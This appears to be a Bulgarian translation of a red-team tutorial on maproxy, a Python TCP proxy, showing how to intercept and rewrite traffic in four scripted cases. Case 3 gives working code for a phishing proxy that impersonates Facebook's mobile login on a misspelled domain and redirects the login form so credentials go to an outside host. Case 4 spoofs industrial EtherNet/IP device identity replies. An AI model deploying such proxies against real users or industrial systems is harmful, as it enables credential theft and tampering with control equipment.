Преводът на статията беше подготвен в навечерието на началото на курса
абстрактен
Разнообразие от видове оценки на сигурността, вариращи от редовно тестване за проникване и операции на Red Team до хакване на IoT/ICS устройства и SCADA, включват работа с двоични мрежови протоколи, тоест по същество прихващане и модифициране на мрежови данни между клиента и целта. Снифирането на мрежовия трафик не е трудна задача, тъй като имаме инструменти като Wireshark, Tcpdump или Scapy, но модификацията изглежда е по-трудоемка задача, тъй като ще трябва да имаме някакъв интерфейс, за да четем мрежовите данни, да ги филтрираме, променяме го в движение и го изпраща обратно към целевия хост в почти реално време. Освен това би било идеално, ако такъв инструмент може автоматично да работи с множество паралелни връзки и да може да се персонализира с помощта на скриптове.
Един ден открих инструмент, наречен
, документацията бързо ми изясни това maproxy
– точно това, което ми трябва. Това е доста прост, многофункционален и лесно конфигурируем TCP прокси. Тествах този инструмент на няколко доста сложни приложения, включително ICS устройства (които генерират много пакети), за да видя дали може да се справи с много паралелни връзки, и инструментът се представи добре.
Тази статия ще ви запознае с обработката на мрежови данни в движение с помощта на maproxy
.
Преглед
Инструмент maproxy
е базиран на Tornado, популярна и зряла асинхронна мрежова рамка в Python.
Като цяло може да работи в няколко режима:
TCP:TCP
– некриптирани TCP връзки;TCP:SSL
иSSL:TCP
– с еднопосочно криптиране;SSL:SSL
– двупосочно криптиране.
Идва като библиотека. За бърз старт можете да използвате примерни файлове, които отразяват основните
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Случай 1 – обикновен двупосочен прокси
Базиран на tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
По подразбиране ProxyServer()
приема два аргумента – местоположението на връзката и целевия порт. server.listen()
приема един аргумент - порта за слушане на входящата връзка.
Изпълнение на скрипта:
# python tcp2tcp.py
За да изпълним теста, ще се свържем с локален SSH сървър чрез нашия прокси скрипт, който слуша 2222/tcp
порт и се свързва към стандартен порт 22/tcp
SSH сървъри:
Банерът за добре дошли ви информира, че нашият примерен скрипт успешно е проксирал мрежовия трафик.
Случай 2 – промяна на данни
Още един демо скрипт logging_proxy.py
идеален за взаимодействие с мрежови данни. Коментарите във файла описват методите на класа, които можете да модифицирате, за да постигнете целта си:
Най-интересното е тук:
on_c2p_done_read
– за прихващане на данни по пътя от клиента до сървъра;on_p2s_done_read
- обърнат.
Нека опитаме да променим SSH банера, който сървърът връща на клиента:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Изпълнете скрипта:
Както можете да видите, клиентът беше подведен, защото името на SSH сървъра за него беше променено на «DumnySSH»
.
Случай 3 – проста фишинг уеб страница
Има безкрайни начини да използвате този инструмент. Този път нека се съсредоточим върху нещо по-практично от оперативната страна на Червения екип. Нека имитираме целевата страница m.facebook.com
и използвайте потребителски домейн с умишлена печатна грешка, например, m.facebok.com
. За демонстрационни цели, нека просто приемем, че домейнът е регистриран от нас.
Ще установим некриптирана мрежова връзка с проксито на нашите жертви и SSL поток към сървъра на Facebook (31.13.81.36
). За да направим този пример работещ, трябва да заменим заглавката на HTTP хоста и да инжектираме правилното име на хост, а също така ще деактивираме компресирането на отговора, за да имаме лесен достъп до съдържанието. В крайна сметка ще заменим HTML формата, така че идентификационните данни за вход да се изпращат до нас вместо до сървърите на Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/bg/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
В обобщение:
Както можете да видите, успяхме успешно да заменим оригиналния сайт.
Случай 4 – Пренасяне на Ethernet/IP
Занимавам се с промишлени устройства и софтуер (ICS/SCADA) от доста време, като например програмируеми контролери (PLC), I/O модули, задвижвания, релета, среди за програмиране на стълби и много други. Този калъф е за тези, които обичат индустриалните неща. Хакването на такива решения включва активна игра с мрежови протоколи. В следващия пример бих искал да покажа как можете да промените ICS/SCADA мрежовия трафик.
За да направите това, имате нужда от следното:
- Мрежов снифър, например Wireshark;
- Ethernet/IP или просто SIP устройство, можете да го намерите чрез услугата Shodan;
- Нашият сценарий се основава на
maproxy
.
Първо, нека да разгледаме как изглежда типичен идентификационен отговор от CIP (Common Industrial Protocol):
Идентификацията на устройството се осъществява с помощта на Ethernet/IP протокола, който е подобрена версия на индустриалния Ethernet протокол, който обгръща контролни протоколи като CIP. Ще променим маркираното ID име, което се вижда на екранната снимка "NI-IndComm за Ethernet" използвайки нашия прокси скрипт. Можем да използваме повторно скрипта logging_proxy.py
и по подобен начин модифицирайте метода на класа on_p2s_done_read
, защото искаме различно име на самоличност да се вижда на клиента.
Код:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
По същество поискахме идентификация на устройството два пъти, вторият отговор беше оригиналният, а първият беше модифициран в движение.
И последното
По мое мнение maproxy
Удобен и прост инструмент, който също е написан на Python, така че вярвам, че и вие можете да се възползвате от използването му. Разбира се, има по-сложни инструменти за обработка и модифициране на мрежови данни, но те също изискват повече внимание и обикновено се създават за конкретен случай на употреба, напр. maproxy
можете бързо да реализирате идеите си за прихващане на мрежови данни, тъй като примерните скриптове са много ясни.
Източник: www.habr.com